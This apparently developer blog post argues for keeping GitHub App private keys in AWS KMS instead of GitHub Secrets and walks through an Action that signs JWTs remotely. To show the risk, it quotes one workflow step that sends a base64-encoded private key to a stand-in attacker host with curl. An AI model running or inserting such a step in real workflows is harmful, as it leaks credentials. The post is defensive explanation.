DEV Community

konippi
konippi

Posted on

Stop storing your GitHub App private key in GitHub Secrets

In March 2026, the compromise of Trivy — a vulnerability scanner used in thousands of CI/CD pipelines — made headlines. A threat actor exploited the pull_request_target workflow trigger in GitHub Actions to steal a PAT, then injected a credential stealer into Trivy's official release. Around the same time, the axios npm package was compromised via a compromised maintainer account, and the prt-scan campaign was actively exploiting the same pull_request_target misconfiguration at scale.

These incidents share a common pattern: a trusted part of the software supply chain gets compromised, and the damage propagates at scale through distribution channels. Trivy and prt-scan both originated from misconfigured pull_request_target triggers. The prt-scan campaign directly exploited this to exfiltrate credentials, while Trivy's incomplete credential rotation after the initial breach let the attacker escalate to tampering with official releases.

GitHub App private keys are no exception. GitHub's docs on managing private keys call the private key "the single most valuable secret for a GitHub App" — it's the master key that grants access to every permission the app holds. And it never expires unless manually revoked.

So I built a GitHub Action that moves the private key out of GitHub Secrets and confines it inside AWS KMS:

This post walks through how it isolates the private key from the workflow — the problem, the design, and the internals.

The Problem with Storing Private Keys in Secrets

Many projects use actions/create-github-app-token and store the private key in GitHub Secrets. This approach has several issues.

Anyone who can edit a workflow can exfiltrate the key. GitHub Secrets values are hidden in the UI, but the actual values are passed to the workflow at runtime. Any user with write access has read access to all secrets configured on that repository — they can modify a workflow to send secrets to an external server. As GitHub's compromised runners docs describe, an attacker can exfiltrate secrets via HTTP requests:

- run: curl "https://evil.example.com?key=$(printenv APP_PRIVATE_KEY | base64 -w0)"
  env:
    APP_PRIVATE_KEY: ${{ secrets.APP_PRIVATE_KEY }}
Enter fullscreen mode Exit fullscreen mode

A compromised third-party action can leak all secrets. The Trivy and prt-scan incidents showed exactly this. GitHub Actions has no mechanism to restrict which secrets are passed to individual actions. As GitHub's security reference warns: "a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository."

Push ruleset file path restrictions are too broad. Repository secrets are accessible from every workflow in the repository. Even if you use a push ruleset's "Restrict file paths" rule to lock down specific workflow files, an attacker can create a new workflow at an unprotected path and exfiltrate the key from there. You end up having to protect the entire .github/workflows/ directory — severely degrading the developer experience.

The root cause: GitHub Secrets cannot separate "use" (signing) from "read" (export) of the private key. To sign, the plaintext key must be loaded into the runner's memory — and once it's there, exfiltration can't be fully prevented.

The Solution: Sign Remotely, Never Export

Instead of passing the private key to the runner, store it in AWS KMS and delegate only the signing operation. AWS KMS is a managed service for creating and managing cryptographic keys, where KMS keys are protected by FIPS 140-3 Security Level 3–validated HSMs.

According to AWS KMS data protection docs, plaintext key material is decrypted only within HSM volatile memory for the few milliseconds needed for a cryptographic operation, and never leaves the HSM security boundary. More importantly:

There is no mechanism for anyone, including AWS service operators, to view, access, or export plaintext key material. This principle applies even during catastrophic failures and disaster recovery events.

No one — not even AWS operators — can access plaintext key material. That's the key difference from GitHub Secrets, where the plaintext private key is handed directly to the runner.

Here's the flow:

create-github-app-token-aws-kms flow

The only thing passed to the workflow is the KMS key ID — not a secret.

Under the hood, the implementation injects an AWS KMS signing function via the createJwt option in @octokit/auth-app:

// Sign the JWT via the AWS KMS Sign API (the private key never reaches the runner)
const signer = new KmsSigner(kmsKeyId);

// Inject the AWS KMS signing function via @octokit/auth-app's createJwt option
const octokit = new Octokit({
  baseUrl,
  authStrategy: createAppAuth,
  auth: {
    appId,
    createJwt: createJwtCallback(signer),
  },
});
Enter fullscreen mode Exit fullscreen mode

At job completion, the post step automatically revokes the installation access token, minimizing the token's lifetime.

The KMS Sign API call adds negligible latency — no practical bottleneck. Migration requires only creating and importing a KMS key; no changes to downstream workflow steps.

The Sign-Only Principle and Its Effects

GitHub's docs on storing private keys recommend:

Consider storing the key in a key vault, such as Azure Key Vault, and making it sign-only. This helps ensure that you can't lose the private key. Once the private key is uploaded to the key vault, it can never be read from there. It can only be used to sign things, and access to the private key is determined by your infrastructure rules.

Here's what changes concretely when this sign-only principle is realized with AWS KMS.

Key Material Exfiltration Becomes Structurally Impossible

Even if an attacker tampers with the workflow, they cannot extract the key from AWS KMS. Key policies let you restrict the permitted algorithms using the kms:SigningAlgorithm condition key. Even if the IAM role is compromised, the most an attacker can do is "sign with RSASSA_PKCS1_V1_5_SHA_256" — nothing more.

"But can't they still make it sign things?" — fair point, and that residual risk does exist. But the severity gap is massive. If the key is exfiltrated, the attacker can issue tokens indefinitely from any environment, and detection is extremely difficult. With AWS KMS, the attacker can only sign during the validity period of the OIDC-issued temporary credentials, and every API call is recorded in CloudTrail.

GitHub Secrets AWS KMS
Key state during signing Plaintext in runner memory Decrypted only within HSM volatile memory for a few milliseconds
Key readability Readable from memory Plaintext key material never leaves the HSM security boundary
Access control Repository write access = access to all secrets Key policy can restrict to kms:Sign only
Audit GitHub Actions logs CloudTrail records every API call

In short: GitHub Secrets exposes the key itself; AWS KMS exposes only the ability to sign — scoped, time-limited, and fully audited.

Moving Access Control Outside GitHub

As GitHub's docs put it, "access to the private key is determined by your infrastructure rules." Moving the key to AWS KMS shifts access control outside of GitHub entirely.

GitHub Actions OIDC tokens contain claims like job_workflow_ref and repository_id. By specifying these as conditions in the IAM role's trust policy, you can restrict KMS access to "only when executed from a specific workflow in a specific repository." The scope of what needs push ruleset protection narrows down to just that workflow file.

  • Before: Protect the entire .github/workflows/ → no one can casually edit any workflow
  • After: Protect only deploy.yml → all other workflows remain freely editable

Enforcing Token Scope

Scoping the installation access token to only the required repositories and permissions at issuance directly reduces the blast radius.

With actions/create-github-app-token, specifying permissions is optional — omitting it generates a token with all permissions granted to the installation. create-github-app-token-aws-kms requires at least one permission-* input. This structurally prevents the "just grant everything" anti-pattern.

Usage

1. Create an AWS KMS Key and Import the Private Key

Create an RSA 2048 key with EXTERNAL origin and import the GitHub App private key:

aws kms create-key \
  --key-spec RSA_2048 \
  --key-usage SIGN_VERIFY \
  --origin EXTERNAL \
  --description "GitHub App JWT signing key"

openssl pkcs8 -topk8 -inform PEM -outform DER \
  -in github-app-private-key.pem -out private-key.der -nocrypt
Enter fullscreen mode Exit fullscreen mode

Note: --origin EXTERNAL is required to import your own key material. Importing asymmetric keys has been supported since June 2023.

Imported key material is decrypted in an AWS KMS HSM and re-encrypted under a symmetric key in the HSM. As the KMS data protection docs state, plaintext imported key material never leaves the HSMs unencrypted. After the import is complete, promptly delete the local PEM file.

For detailed steps including key policies and IAM role trust policies, see the README.

2. Using in a Workflow

permissions:
  id-token: write
  contents: read

steps:
  - uses: aws-actions/configure-aws-credentials@7474bc4690e29a8392af63c5b98e7449536d5c3a # v4.3.1
    with:
      role-to-assume: arn:aws:iam::123456789012:role/github-app-token-signer
      aws-region: ap-northeast-1
      role-duration-seconds: 900 # Minimize session duration

  - uses: konippi/create-github-app-token-aws-kms@eb864f78285e18e84befd731e09fcc6e3fb7a4db # v1
    id: app-token
    with:
      app-id: ${{ vars.APP_ID }}
      kms-key-id: ${{ vars.KMS_KEY_ID }}
      permission-contents: read

  - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
    with:
      token: ${{ steps.app-token.outputs.token }}
Enter fullscreen mode Exit fullscreen mode

Conclusion

A GitHub App private key is the most critical credential — it never expires and grants access to every repository the app is authorized for. GitHub Secrets can't separate "use" from "read" of this key, but confining it inside AWS KMS achieves exactly that: even if a workflow is compromised, the key itself can't be exfiltrated.

Of course, KMS alone doesn't make your entire workflow secure. As GitHub Well-Architected outlines with its 12 security strategies, combining multiple layers of defense is essential — pinning actions to commit SHAs, applying least privilege to GITHUB_TOKEN, leveraging OIDC, avoiding pull_request_target, and more.

If you found this useful, ⭐️ star the repo on GitHub — feedback, issues, and PRs are all welcome!

Top comments (0)